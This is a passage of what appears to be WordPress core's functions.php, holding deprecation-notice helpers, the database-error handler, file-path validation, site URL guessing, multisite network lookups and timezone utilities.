		$submenu['themes.php'][] = array( $menu_name, 'edit_theme_options', 'widgets.php' );
	} else {
		$submenu['themes.php'][8] = array( $menu_name, 'edit_theme_options', 'widgets.php' );
	}

	ksort( $submenu['themes.php'], SORT_NUMERIC );
}

/**
 * Flushes all output buffers for PHP 5.2.
 *
 * Make sure all output buffers are flushed before our singletons are destroyed.
 *
 * @since 2.2.0
 */
function wp_ob_end_flush_all() {
	$levels = ob_get_level();
	for ( $i = 0; $i < $levels; $i++ ) {
		ob_end_flush();
	}
}

/**
 * Loads custom DB error or display WordPress DB error.
 *
 * If a file exists in the wp-content directory named db-error.php, then it will
 * be loaded instead of displaying the WordPress DB error. If it is not found,
 * then the WordPress DB error will be displayed instead.
 *
 * The WordPress DB error sets the HTTP status header to 500 to try to prevent
 * search engines from caching the message. Custom DB messages should do the
 * same.
 *
 * This function was backported to WordPress 2.3.2, but originally was added
 * in WordPress 2.5.0.
 *
 * @since 2.3.2
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function dead_db() {
	global $wpdb;

	wp_load_translations_early();

	// Load custom DB error template, if present.
	if ( file_exists( WP_CONTENT_DIR . '/db-error.php' ) ) {
		require_once WP_CONTENT_DIR . '/db-error.php';
		die();
	}

	// If installing or in the admin, provide the verbose message.
	if ( wp_installing() || defined( 'WP_ADMIN' ) ) {
		wp_die( $wpdb->error );
	}

	// Otherwise, be terse.
	wp_die( '<h1>' . __( 'Error establishing a database connection' ) . '</h1>', __( 'Database Error' ) );
}

/**
 * Converts a value to non-negative integer.
 *
 * @since 2.5.0
 *
 * @param mixed $maybeint Data you wish to have converted to a non-negative integer.
 * @return int A non-negative integer.
 */
function absint( $maybeint ) {
	return abs( (int) $maybeint );
}

/**
 * Marks a function as deprecated and inform when it has been used.
 *
 * There is a {@see 'deprecated_function_run'} hook that will be called that can be used
 * to get the backtrace up to what file and function called the deprecated function.
 *
 * The current behavior is to trigger a user error if `WP_DEBUG` is true.
 *
 * This function is to be used in every function that is deprecated.
 *
 * @since 2.5.0
 * @since 5.4.0 This function is no longer marked as "private".
 * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE).
 *
 * @param string $function_name The function that was called.
 * @param string $version       The version of WordPress that deprecated the function.
 * @param string $replacement   Optional. The function that should have been called. Default empty string.
 */
function _deprecated_function( $function_name, $version, $replacement = '' ) {

	/**
	 * Fires when a deprecated function is called.
	 *
	 * @since 2.5.0
	 *
	 * @param string $function_name The function that was called.
	 * @param string $replacement   The function that should have been called.
	 * @param string $version       The version of WordPress that deprecated the function.
	 */
	do_action( 'deprecated_function_run', $function_name, $replacement, $version );

	/**
	 * Filters whether to trigger an error for deprecated functions.
	 *
	 * @since 2.5.0
	 *
	 * @param bool $trigger Whether to trigger the error for deprecated functions. Default true.
	 */
	if ( WP_DEBUG && apply_filters( 'deprecated_function_trigger_error', true ) ) {
		if ( function_exists( '__' ) ) {
			if ( $replacement ) {
				$message = sprintf(
					/* translators: 1: PHP function name, 2: Version number, 3: Alternative function name. */
					__( 'Function %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.' ),
					$function_name,
					$version,
					$replacement
				);
			} else {
				$message = sprintf(
					/* translators: 1: PHP function name, 2: Version number. */
					__( 'Function %1$s is <strong>deprecated</strong> since version %2$s with no alternative available.' ),
					$function_name,
					$version
				);
			}
		} else {
			if ( $replacement ) {
				$message = sprintf(
					'Function %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.',
					$function_name,
					$version,
					$replacement
				);
			} else {
				$message = sprintf(
					'Function %1$s is <strong>deprecated</strong> since version %2$s with no alternative available.',
					$function_name,
					$version
				);
			}
		}

		wp_trigger_error( '', $message, E_USER_DEPRECATED );
	}
}

/**
 * Marks a constructor as deprecated and informs when it has been used.
 *
 * Similar to _deprecated_function(), but with different strings. Used to
 * remove PHP4-style constructors.
 *
 * The current behavior is to trigger a user error if `WP_DEBUG` is true.
 *
 * This function is to be used in every PHP4-style constructor method that is deprecated.
 *
 * @since 4.3.0
 * @since 4.5.0 Added the `$parent_class` parameter.
 * @since 5.4.0 This function is no longer marked as "private".
 * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE).
 *
 * @param string $class_name   The class containing the deprecated constructor.
 * @param string $version      The version of WordPress that deprecated the function.
 * @param string $parent_class Optional. The parent class calling the deprecated constructor.
 *                             Default empty string.
 */
function _deprecated_constructor( $class_name, $version, $parent_class = '' ) {

	/**
	 * Fires when a deprecated constructor is called.
	 *
	 * @since 4.3.0
	 * @since 4.5.0 Added the `$parent_class` parameter.
	 *
	 * @param string $class_name   The class containing the deprecated constructor.
	 * @param string $version      The version of WordPress that deprecated the function.
	 * @param string $parent_class The parent class calling the deprecated constructor.
	 */
	do_action( 'deprecated_constructor_run', $class_name, $version, $parent_class );

	/**
	 * Filters whether to trigger an error for deprecated functions.
	 *
	 * `WP_DEBUG` must be true in addition to the filter evaluating to true.
	 *
	 * @since 4.3.0
	 *
	 * @param bool $trigger Whether to trigger the error for deprecated functions. Default true.
	 */
	if ( WP_DEBUG && apply_filters( 'deprecated_constructor_trigger_error', true ) ) {
		if ( function_exists( '__' ) ) {
			if ( $parent_class ) {
				$message = sprintf(
					/* translators: 1: PHP class name, 2: PHP parent class name, 3: Version number, 4: __construct() method. */
					__( 'The called constructor method for %1$s class in %2$s is <strong>deprecated</strong> since version %3$s! Use %4$s instead.' ),
					$class_name,
					$parent_class,
					$version,
					'<code>__construct()</code>'
				);
			} else {
				$message = sprintf(
					/* translators: 1: PHP class name, 2: Version number, 3: __construct() method. */
					__( 'The called constructor method for %1$s class is <strong>deprecated</strong> since version %2$s! Use %3$s instead.' ),
					$class_name,
					$version,
					'<code>__construct()</code>'
				);
			}
		} else {
			if ( $parent_class ) {
				$message = sprintf(
					'The called constructor method for %1$s class in %2$s is <strong>deprecated</strong> since version %3$s! Use %4$s instead.',
					$class_name,
					$parent_class,
					$version,
					'<code>__construct()</code>'
				);
			} else {
				$message = sprintf(
					'The called constructor method for %1$s class is <strong>deprecated</strong> since version %2$s! Use %3$s instead.',
					$class_name,
					$version,
					'<code>__construct()</code>'
				);
			}
		}

		wp_trigger_error( '', $message, E_USER_DEPRECATED );
	}
}

/**
 * Marks a class as deprecated and informs when it has been used.
 *
 * There is a {@see 'deprecated_class_run'} hook that will be called that can be used
 * to get the backtrace up to what file and function called the deprecated class.
 *
 * The current behavior is to trigger a user error if `WP_DEBUG` is true.
 *
 * This function is to be used in the class constructor for every deprecated class.
 * See {@see _deprecated_constructor()} for deprecating PHP4-style constructors.
 *
 * @since 6.4.0
 *
 * @param string $class_name  The name of the class being instantiated.
 * @param string $version     The version of WordPress that deprecated the class.
 * @param string $replacement Optional. The class or function that should have been called.
 *                            Default empty string.
 */
function _deprecated_class( $class_name, $version, $replacement = '' ) {

	/**
	 * Fires when a deprecated class is called.
	 *
	 * @since 6.4.0
	 *
	 * @param string $class_name  The name of the class being instantiated.
	 * @param string $replacement The class or function that should have been called.
	 * @param string $version     The version of WordPress that deprecated the class.
	 */
	do_action( 'deprecated_class_run', $class_name, $replacement, $version );

	/**
	 * Filters whether to trigger an error for a deprecated class.
	 *
	 * @since 6.4.0
	 *
	 * @param bool $trigger Whether to trigger an error for a deprecated class. Default true.
	 */
	if ( WP_DEBUG && apply_filters( 'deprecated_class_trigger_error', true ) ) {
		if ( function_exists( '__' ) ) {
			if ( $replacement ) {
				$message = sprintf(
					/* translators: 1: PHP class name, 2: Version number, 3: Alternative class or function name. */
					__( 'Class %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.' ),
					$class_name,
					$version,
					$replacement
				);
			} else {
				$message = sprintf(
					/* translators: 1: PHP class name, 2: Version number. */
					__( 'Class %1$s is <strong>deprecated</strong> since version %2$s with no alternative available.' ),
					$class_name,
					$version
				);
			}
		} else {
			if ( $replacement ) {
				$message = sprintf(
					'Class %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.',
					$class_name,
					$version,
					$replacement
				);
			} else {
				$message = sprintf(
					'Class %1$s is <strong>deprecated</strong> since version %2$s with no alternative available.',
					$class_name,
					$version
				);
			}
		}

		wp_trigger_error( '', $message, E_USER_DEPRECATED );
	}
}

/**
 * Marks a file as deprecated and inform when it has been used.
 *
 * There is a {@see 'deprecated_file_included'} hook that will be called that can be used
 * to get the backtrace up to what file and function included the deprecated file.
 *
 * The current behavior is to trigger a user error if `WP_DEBUG` is true.
 *
 * This function is to be used in every file that is deprecated.
 *
 * @since 2.5.0
 * @since 5.4.0 This function is no longer marked as "private".
 * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE).
 *
 * @param string $file        The file that was included.
 * @param string $version     The version of WordPress that deprecated the file.
 * @param string $replacement Optional. The file that should have been included based on ABSPATH.
 *                            Default empty string.
 * @param string $message     Optional. A message regarding the change. Default empty string.
 */
function _deprecated_file( $file, $version, $replacement = '', $message = '' ) {

	/**
	 * Fires when a deprecated file is called.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file        The file that was called.
	 * @param string $replacement The file that should have been included based on ABSPATH.
	 * @param string $version     The version of WordPress that deprecated the file.
	 * @param string $message     A message regarding the change.
	 */
	do_action( 'deprecated_file_included', $file, $replacement, $version, $message );

	/**
	 * Filters whether to trigger an error for deprecated files.
	 *
	 * @since 2.5.0
	 *
	 * @param bool $trigger Whether to trigger the error for deprecated files. Default true.
	 */
	if ( WP_DEBUG && apply_filters( 'deprecated_file_trigger_error', true ) ) {
		$message = empty( $message ) ? '' : ' ' . $message;

		if ( function_exists( '__' ) ) {
			if ( $replacement ) {
				$message = sprintf(
					/* translators: 1: PHP file name, 2: Version number, 3: Alternative file name. */
					__( 'File %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.' ),
					$file,
					$version,
					$replacement
				) . $message;
			} else {
				$message = sprintf(
					/* translators: 1: PHP file name, 2: Version number. */
					__( 'File %1$s is <strong>deprecated</strong> since version %2$s with no alternative available.' ),
					$file,
					$version
				) . $message;
			}
		} else {
			if ( $replacement ) {
				$message = sprintf(
					'File %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.',
					$file,
					$version,
					$replacement
				);
			} else {
				$message = sprintf(
					'File %1$s is <strong>deprecated</strong> since version %2$s with no alternative available.',
					$file,
					$version
				) . $message;
			}
		}

		wp_trigger_error( '', $message, E_USER_DEPRECATED );
	}
}
/**
 * Marks a function argument as deprecated and inform when it has been used.
 *
 * This function is to be used whenever a deprecated function argument is used.
 * Before this function is called, the argument must be checked for whether it was
 * used by comparing it to its default value or evaluating whether it is empty.
 *
 * For example:
 *
 *     if ( ! empty( $deprecated ) ) {
 *         _deprecated_argument( __FUNCTION__, '3.0.0' );
 *     }
 *
 * There is a {@see 'deprecated_argument_run'} hook that will be called that can be used
 * to get the backtrace up to what file and function used the deprecated argument.
 *
 * The current behavior is to trigger a user error if WP_DEBUG is true.
 *
 * @since 3.0.0
 * @since 5.4.0 This function is no longer marked as "private".
 * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE).
 *
 * @param string $function_name The function that was called.
 * @param string $version       The version of WordPress that deprecated the argument used.
 * @param string $message       Optional. A message regarding the change. Default empty string.
 */
function _deprecated_argument( $function_name, $version, $message = '' ) {

	/**
	 * Fires when a deprecated argument is called.
	 *
	 * @since 3.0.0
	 *
	 * @param string $function_name The function that was called.
	 * @param string $message       A message regarding the change.
	 * @param string $version       The version of WordPress that deprecated the argument used.
	 */
	do_action( 'deprecated_argument_run', $function_name, $message, $version );

	/**
	 * Filters whether to trigger an error for deprecated arguments.
	 *
	 * @since 3.0.0
	 *
	 * @param bool $trigger Whether to trigger the error for deprecated arguments. Default true.
	 */
	if ( WP_DEBUG && apply_filters( 'deprecated_argument_trigger_error', true ) ) {
		if ( function_exists( '__' ) ) {
			if ( $message ) {
				$message = sprintf(
					/* translators: 1: PHP function name, 2: Version number, 3: Optional message regarding the change. */
					__( 'Function %1$s was called with an argument that is <strong>deprecated</strong> since version %2$s! %3$s' ),
					$function_name,
					$version,
					$message
				);
			} else {
				$message = sprintf(
					/* translators: 1: PHP function name, 2: Version number. */
					__( 'Function %1$s was called with an argument that is <strong>deprecated</strong> since version %2$s with no alternative available.' ),
					$function_name,
					$version
				);
			}
		} else {
			if ( $message ) {
				$message = sprintf(
					'Function %1$s was called with an argument that is <strong>deprecated</strong> since version %2$s! %3$s',
					$function_name,
					$version,
					$message
				);
			} else {
				$message = sprintf(
					'Function %1$s was called with an argument that is <strong>deprecated</strong> since version %2$s with no alternative available.',
					$function_name,
					$version
				);
			}
		}

		wp_trigger_error( '', $message, E_USER_DEPRECATED );
	}
}

/**
 * Marks a deprecated action or filter hook as deprecated and throws a notice.
 *
 * Use the {@see 'deprecated_hook_run'} action to get the backtrace describing where
 * the deprecated hook was called.
 *
 * Default behavior is to trigger a user error if `WP_DEBUG` is true.
 *
 * This function is called by the do_action_deprecated() and apply_filters_deprecated()
 * functions, and so generally does not need to be called directly.
 *
 * @since 4.6.0
 * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE).
 * @access private
 *
 * @param string $hook        The hook that was used.
 * @param string $version     The version of WordPress that deprecated the hook.
 * @param string $replacement Optional. The hook that should have been used. Default empty string.
 * @param string $message     Optional. A message regarding the change. Default empty.
 */
function _deprecated_hook( $hook, $version, $replacement = '', $message = '' ) {
	/**
	 * Fires when a deprecated hook is called.
	 *
	 * @since 4.6.0
	 *
	 * @param string $hook        The hook that was called.
	 * @param string $replacement The hook that should be used as a replacement.
	 * @param string $version     The version of WordPress that deprecated the argument used.
	 * @param string $message     A message regarding the change.
	 */
	do_action( 'deprecated_hook_run', $hook, $replacement, $version, $message );

	/**
	 * Filters whether to trigger deprecated hook errors.
	 *
	 * @since 4.6.0
	 *
	 * @param bool $trigger Whether to trigger deprecated hook errors. Requires
	 *                      `WP_DEBUG` to be defined true.
	 */
	if ( WP_DEBUG && apply_filters( 'deprecated_hook_trigger_error', true ) ) {
		$message = empty( $message ) ? '' : ' ' . $message;

		if ( $replacement ) {
			$message = sprintf(
				/* translators: 1: WordPress hook name, 2: Version number, 3: Alternative hook name. */
				__( 'Hook %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.' ),
				$hook,
				$version,
				$replacement
			) . $message;
		} else {
			$message = sprintf(
				/* translators: 1: WordPress hook name, 2: Version number. */
				__( 'Hook %1$s is <strong>deprecated</strong> since version %2$s with no alternative available.' ),
				$hook,
				$version
			) . $message;
		}

		wp_trigger_error( '', $message, E_USER_DEPRECATED );
	}
}

/**
 * Marks something as being incorrectly called.
 *
 * There is a {@see 'doing_it_wrong_run'} hook that will be called that can be used
 * to get the backtrace up to what file and function called the deprecated function.
 *
 * The current behavior is to trigger a user error if `WP_DEBUG` is true.
 *
 * @since 3.1.0
 * @since 5.4.0 This function is no longer marked as "private".
 *
 * @param string $function_name The function that was called.
 * @param string $message       A message explaining what has been done incorrectly.
 * @param string $version       The version of WordPress where the message was added.
 */
function _doing_it_wrong( $function_name, $message, $version ) {

	/**
	 * Fires when the given function is being used incorrectly.
	 *
	 * @since 3.1.0
	 *
	 * @param string $function_name The function that was called.
	 * @param string $message       A message explaining what has been done incorrectly.
	 * @param string $version       The version of WordPress where the message was added.
	 */
	do_action( 'doing_it_wrong_run', $function_name, $message, $version );

	/**
	 * Filters whether to trigger an error for _doing_it_wrong() calls.
	 *
	 * @since 3.1.0
	 * @since 5.1.0 Added the $function_name, $message and $version parameters.
	 *
	 * @param bool   $trigger       Whether to trigger the error for _doing_it_wrong() calls. Default true.
	 * @param string $function_name The function that was called.
	 * @param string $message       A message explaining what has been done incorrectly.
	 * @param string $version       The version of WordPress where the message was added.
	 */
	if ( WP_DEBUG && apply_filters( 'doing_it_wrong_trigger_error', true, $function_name, $message, $version ) ) {
		if ( function_exists( '__' ) ) {
			if ( $version ) {
				/* translators: %s: Version number. */
				$version = sprintf( __( '(This message was added in version %s.)' ), $version );
			}

			$message .= ' ' . sprintf(
				/* translators: %s: Documentation URL. */
				__( 'Please see <a href="%s">Debugging in WordPress</a> for more information.' ),
				__( 'https://wordpress.org/documentation/article/debugging-in-wordpress/' )
			);

			$message = sprintf(
				/* translators: Developer debugging message. 1: PHP function name, 2: Explanatory message, 3: WordPress version number. */
				__( 'Function %1$s was called <strong>incorrectly</strong>. %2$s %3$s' ),
				$function_name,
				$message,
				$version
			);
		} else {
			if ( $version ) {
				$version = sprintf( '(This message was added in version %s.)', $version );
			}

			$message .= sprintf(
				' Please see <a href="%s">Debugging in WordPress</a> for more information.',
				'https://wordpress.org/documentation/article/debugging-in-wordpress/'
			);

			$message = sprintf(
				'Function %1$s was called <strong>incorrectly</strong>. %2$s %3$s',
				$function_name,
				$message,
				$version
			);
		}

		wp_trigger_error( '', $message );
	}
}

/**
 * Generates a user-level error/warning/notice/deprecation message.
 *
 * Generates the message when `WP_DEBUG` is true.
 *
 * @since 6.4.0
 *
 * @param string $function_name The function that triggered the error.
 * @param string $message       The message explaining the error.
 *                              The message can contain allowed HTML 'a' (with href), 'code',
 *                              'br', 'em', and 'strong' tags and http or https protocols.
 *                              If it contains other HTML tags or protocols, the message should be escaped
 *                              before passing to this function to avoid being stripped {@see wp_kses()}.
 * @param int    $error_level   Optional. The designated error type for this error.
 *                              Only works with E_USER family of constants. Default E_USER_NOTICE.
 */
function wp_trigger_error( $function_name, $message, $error_level = E_USER_NOTICE ) {

	// Bail out if WP_DEBUG is not turned on.
	if ( ! WP_DEBUG ) {
		return;
	}

	/**
	 * Fires when the given function triggers a user-level error/warning/notice/deprecation message.
	 *
	 * Can be used for debug backtracking.
	 *
	 * @since 6.4.0
	 *
	 * @param string $function_name The function that was called.
	 * @param string $message       A message explaining what has been done incorrectly.
	 * @param int    $error_level   The designated error type for this error.
	 */
	do_action( 'wp_trigger_error_run', $function_name, $message, $error_level );

	if ( ! empty( $function_name ) ) {
		$message = sprintf( '%s(): %s', $function_name, $message );
	}

	$message = wp_kses(
		$message,
		array(
			'a' => array( 'href' ),
			'br',
			'code',
			'em',
			'strong',
		),
		array( 'http', 'https' )
	);

	trigger_error( $message, $error_level );
}

/**
 * Determines whether the server is running an earlier than 1.5.0 version of lighttpd.
 *
 * @since 2.5.0
 *
 * @return bool Whether the server is running lighttpd < 1.5.0.
 */
function is_lighttpd_before_150() {
	$server_parts    = explode( '/', isset( $_SERVER['SERVER_SOFTWARE'] ) ? $_SERVER['SERVER_SOFTWARE'] : '' );
	$server_parts[1] = isset( $server_parts[1] ) ? $server_parts[1] : '';

	return ( 'lighttpd' === $server_parts[0] && -1 === version_compare( $server_parts[1], '1.5.0' ) );
}

/**
 * Determines whether the specified module exist in the Apache config.
 *
 * @since 2.5.0
 *
 * @global bool $is_apache
 *
 * @param string $mod           The module, e.g. mod_rewrite.
 * @param bool   $default_value Optional. The default return value if the module is not found. Default false.
 * @return bool Whether the specified module is loaded.
 */
function apache_mod_loaded( $mod, $default_value = false ) {
	global $is_apache;

	if ( ! $is_apache ) {
		return false;
	}

	$loaded_mods = array();

	if ( function_exists( 'apache_get_modules' ) ) {
		$loaded_mods = apache_get_modules();

		if ( in_array( $mod, $loaded_mods, true ) ) {
			return true;
		}
	}

	if ( empty( $loaded_mods )
		&& function_exists( 'phpinfo' )
		&& ! str_contains( ini_get( 'disable_functions' ), 'phpinfo' )
	) {
		ob_start();
		phpinfo( INFO_MODULES );
		$phpinfo = ob_get_clean();

		if ( str_contains( $phpinfo, $mod ) ) {
			return true;
		}
	}

	return $default_value;
}

/**
 * Checks if IIS 7+ supports pretty permalinks.
 *
 * @since 2.8.0
 *
 * @global bool $is_iis7
 *
 * @return bool Whether IIS7 supports permalinks.
 */
function iis7_supports_permalinks() {
	global $is_iis7;

	$supports_permalinks = false;
	if ( $is_iis7 ) {
		/* First we check if the DOMDocument class exists. If it does not exist, then we cannot
		 * easily update the xml configuration file, hence we just bail out and tell user that
		 * pretty permalinks cannot be used.
		 *
		 * Next we check if the URL Rewrite Module 1.1 is loaded and enabled for the website. When
		 * URL Rewrite 1.1 is loaded it always sets a server variable called 'IIS_UrlRewriteModule'.
		 * Lastly we make sure that PHP is running via FastCGI. This is important because if it runs
		 * via ISAPI then pretty permalinks will not work.
		 */
		$supports_permalinks = class_exists( 'DOMDocument', false ) && isset( $_SERVER['IIS_UrlRewriteModule'] ) && ( 'cgi-fcgi' === PHP_SAPI );
	}

	/**
	 * Filters whether IIS 7+ supports pretty permalinks.
	 *
	 * @since 2.8.0
	 *
	 * @param bool $supports_permalinks Whether IIS7 supports permalinks. Default false.
	 */
	return apply_filters( 'iis7_supports_permalinks', $supports_permalinks );
}

/**
 * Validates a file name and path against an allowed set of rules.
 *
 * A return value of `1` means the file path contains directory traversal.
 *
 * A return value of `2` means the file path contains a Windows drive path.
 *
 * A return value of `3` means the file is not in the allowed files list.
 *
 * @since 1.2.0
 *
 * @param string   $file          File path.
 * @param string[] $allowed_files Optional. Array of allowed files. Default empty array.
 * @return int 0 means nothing is wrong, greater than 0 means something was wrong.
 */
function validate_file( $file, $allowed_files = array() ) {
	if ( ! is_scalar( $file ) || '' === $file ) {
		return 0;
	}

	// Normalize path for Windows servers
	$file = wp_normalize_path( $file );

	// `../` on its own is not allowed:
	if ( '../' === $file ) {
		return 1;
	}

	// More than one occurrence of `../` is not allowed:
	if ( preg_match_all( '#\.\./#', $file, $matches, PREG_SET_ORDER ) && ( count( $matches ) > 1 ) ) {
		return 1;
	}

	// `../` which does not occur at the end of the path is not allowed:
	if ( str_contains( $file, '../' ) && '../' !== mb_substr( $file, -3, 3 ) ) {
		return 1;
	}

	// Files not in the allowed file list are not allowed:
	if ( ! empty( $allowed_files ) && ! in_array( $file, $allowed_files, true ) ) {
		return 3;
	}

	// Absolute Windows drive paths are not allowed:
	if ( ':' === substr( $file, 1, 1 ) ) {
		return 2;
	}

	return 0;
}

/**
 * Determines whether to force SSL used for the Administration Screens.
 *
 * @since 2.6.0
 *
 * @param string|bool $force Optional. Whether to force SSL in admin screens. Default null.
 * @return bool True if forced, false if not forced.
 */
function force_ssl_admin( $force = null ) {
	static $forced = false;

	if ( ! is_null( $force ) ) {
		$old_forced = $forced;
		$forced     = $force;
		return $old_forced;
	}

	return $forced;
}

/**
 * Guesses the URL for the site.
 *
 * Will remove wp-admin links to retrieve only return URLs not in the wp-admin
 * directory.
 *
 * @since 2.6.0
 *
 * @return string The guessed URL.
 */
function wp_guess_url() {
	if ( defined( 'WP_SITEURL' ) && '' !== WP_SITEURL ) {
		$url = WP_SITEURL;
	} else {
		$abspath_fix         = str_replace( '\\', '/', ABSPATH );
		$script_filename_dir = dirname( $_SERVER['SCRIPT_FILENAME'] );

		// The request is for the admin.
		if ( str_contains( $_SERVER['REQUEST_URI'], 'wp-admin' ) || str_contains( $_SERVER['REQUEST_URI'], 'wp-login.php' ) ) {
			$path = preg_replace( '#/(wp-admin/?.*|wp-login\.php.*)#i', '', $_SERVER['REQUEST_URI'] );

			// The request is for a file in ABSPATH.
		} elseif ( $script_filename_dir . '/' === $abspath_fix ) {
			// Strip off any file/query params in the path.
			$path = preg_replace( '#/[^/]*$#i', '', $_SERVER['PHP_SELF'] );

		} else {
			if ( str_contains( $_SERVER['SCRIPT_FILENAME'], $abspath_fix ) ) {
				// Request is hitting a file inside ABSPATH.
				$directory = str_replace( ABSPATH, '', $script_filename_dir );
				// Strip off the subdirectory, and any file/query params.
				$path = preg_replace( '#/' . preg_quote( $directory, '#' ) . '/[^/]*$#i', '', $_SERVER['REQUEST_URI'] );
			} elseif ( str_contains( $abspath_fix, $script_filename_dir ) ) {
				// Request is hitting a file above ABSPATH.
				$subdirectory = substr( $abspath_fix, strpos( $abspath_fix, $script_filename_dir ) + strlen( $script_filename_dir ) );
				// Strip off any file/query params from the path, appending the subdirectory to the installation.
				$path = preg_replace( '#/[^/]*$#i', '', $_SERVER['REQUEST_URI'] ) . $subdirectory;
			} else {
				$path = $_SERVER['REQUEST_URI'];
			}
		}

		$schema = is_ssl() ? 'https://' : 'http://'; // set_url_scheme() is not defined yet.
		$url    = $schema . $_SERVER['HTTP_HOST'] . $path;
	}

	return rtrim( $url, '/' );
}

/**
 * Temporarily suspends cache additions.
 *
 * Stops more data being added to the cache, but still allows cache retrieval.
 * This is useful for actions, such as imports, when a lot of data would otherwise
 * be almost uselessly added to the cache.
 *
 * Suspension lasts for a single page load at most. Remember to call this
 * function again if you wish to re-enable cache adds earlier.
 *
 * @since 3.3.0
 *
 * @param bool $suspend Optional. Suspends additions if true, re-enables them if false.
 *                      Defaults to not changing the current setting.
 * @return bool The current suspend setting.
 */
function wp_suspend_cache_addition( $suspend = null ) {
	static $_suspend = false;

	if ( is_bool( $suspend ) ) {
		$_suspend = $suspend;
	}

	return $_suspend;
}

/**
 * Suspends cache invalidation.
 *
 * Turns cache invalidation on and off. Useful during imports where you don't want to do
 * invalidations every time a post is inserted. Callers must be sure that what they are
 * doing won't lead to an inconsistent cache when invalidation is suspended.
 *
 * @since 2.7.0
 *
 * @global bool $_wp_suspend_cache_invalidation
 *
 * @param bool $suspend Optional. Whether to suspend or enable cache invalidation. Default true.
 * @return bool The current suspend setting.
 */
function wp_suspend_cache_invalidation( $suspend = true ) {
	global $_wp_suspend_cache_invalidation;

	$current_suspend                = $_wp_suspend_cache_invalidation;
	$_wp_suspend_cache_invalidation = $suspend;
	return $current_suspend;
}

/**
 * Determines whether a site is the main site of the current network.
 *
 * @since 3.0.0
 * @since 4.9.0 The `$network_id` parameter was added.
 *
 * @param int $site_id    Optional. Site ID to test. Defaults to current site.
 * @param int $network_id Optional. Network ID of the network to check for.
 *                        Defaults to current network.
 * @return bool True if $site_id is the main site of the network, or if not
 *              running Multisite.
 */
function is_main_site( $site_id = null, $network_id = null ) {
	if ( ! is_multisite() ) {
		return true;
	}

	if ( ! $site_id ) {
		$site_id = get_current_blog_id();
	}

	$site_id = (int) $site_id;

	return get_main_site_id( $network_id ) === $site_id;
}

/**
 * Gets the main site ID.
 *
 * @since 4.9.0
 *
 * @param int $network_id Optional. The ID of the network for which to get the main site.
 *                        Defaults to the current network.
 * @return int The ID of the main site.
 */
function get_main_site_id( $network_id = null ) {
	if ( ! is_multisite() ) {
		return get_current_blog_id();
	}

	$network = get_network( $network_id );
	if ( ! $network ) {
		return 0;
	}

	return $network->site_id;
}

/**
 * Determines whether a network is the main network of the Multisite installation.
 *
 * @since 3.7.0
 *
 * @param int $network_id Optional. Network ID to test. Defaults to current network.
 * @return bool True if $network_id is the main network, or if not running Multisite.
 */
function is_main_network( $network_id = null ) {
	if ( ! is_multisite() ) {
		return true;
	}

	if ( null === $network_id ) {
		$network_id = get_current_network_id();
	}

	$network_id = (int) $network_id;

	return ( get_main_network_id() === $network_id );
}

/**
 * Gets the main network ID.
 *
 * @since 4.3.0
 *
 * @return int The ID of the main network.
 */
function get_main_network_id() {
	if ( ! is_multisite() ) {
		return 1;
	}

	$current_network = get_network();

	if ( defined( 'PRIMARY_NETWORK_ID' ) ) {
		$main_network_id = PRIMARY_NETWORK_ID;
	} elseif ( isset( $current_network->id ) && 1 === (int) $current_network->id ) {
		// If the current network has an ID of 1, assume it is the main network.
		$main_network_id = 1;
	} else {
		$_networks       = get_networks(
			array(
				'fields' => 'ids',
				'number' => 1,
			)
		);
		$main_network_id = array_shift( $_networks );
	}

	/**
	 * Filters the main network ID.
	 *
	 * @since 4.3.0
	 *
	 * @param int $main_network_id The ID of the main network.
	 */
	return (int) apply_filters( 'get_main_network_id', $main_network_id );
}

/**
 * Determines whether site meta is enabled.
 *
 * This function checks whether the 'blogmeta' database table exists. The result is saved as
 * a setting for the main network, making it essentially a global setting. Subsequent requests
 * will refer to this setting instead of running the query.
 *
 * @since 5.1.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @return bool True if site meta is supported, false otherwise.
 */
function is_site_meta_supported() {
	global $wpdb;

	if ( ! is_multisite() ) {
		return false;
	}

	$network_id = get_main_network_id();

	$supported = get_network_option( $network_id, 'site_meta_supported', false );
	if ( false === $supported ) {
		$supported = $wpdb->get_var( "SHOW TABLES LIKE '{$wpdb->blogmeta}'" ) ? 1 : 0;

		update_network_option( $network_id, 'site_meta_supported', $supported );
	}

	return (bool) $supported;
}

/**
 * Modifies gmt_offset for smart timezone handling.
 *
 * Overrides the gmt_offset option if we have a timezone_string available.
 *
 * @since 2.8.0
 *
 * @return float|false Timezone GMT offset, false otherwise.
 */
function wp_timezone_override_offset() {
	$timezone_string = get_option( 'timezone_string' );
	if ( ! $timezone_string ) {
		return false;
	}

	$timezone_object = timezone_open( $timezone_string );
	$datetime_object = date_create();
	if ( false === $timezone_object || false === $datetime_object ) {
		return false;
	}

	return round( timezone_offset_get( $timezone_object, $datetime_object ) / HOUR_IN_SECONDS, 2 );
}

/**
 * Sort-helper for timezones.
 *
 * @since 2.9.0
 * @access private
 *
 * @param array $a
 * @param array $b
 * @return int
 */
function _wp_timezone_choice_usort_callback( $a, $b ) {
	// Don't use translated versions of Etc.
	if ( 'Etc' === $a['continent'] && 'Etc' === $b['continent'] ) {
		// Make the order of these more like the old dropdown.
		if ( str_starts_with( $a['city'], 'GMT+' ) && str_starts_with( $b['city'], 'GMT+' ) ) {
			return -1 * ( strnatcasecmp( $a['city'], $b['city'] ) );
		}

		if ( 'UTC' === $a['city'] ) {
			if ( str_starts_with( $b['city'], 'GMT+' ) ) {
				return 1;
			}

			return -1;
		}

		if ( 'UTC' === $b['city'] ) {
			if ( str_starts_with( $a['city'], 'GMT+' ) ) {
				return -1;
			}

			return 1;
		}

		return strnatcasecmp( $a['city'], $b['city'] );
	}

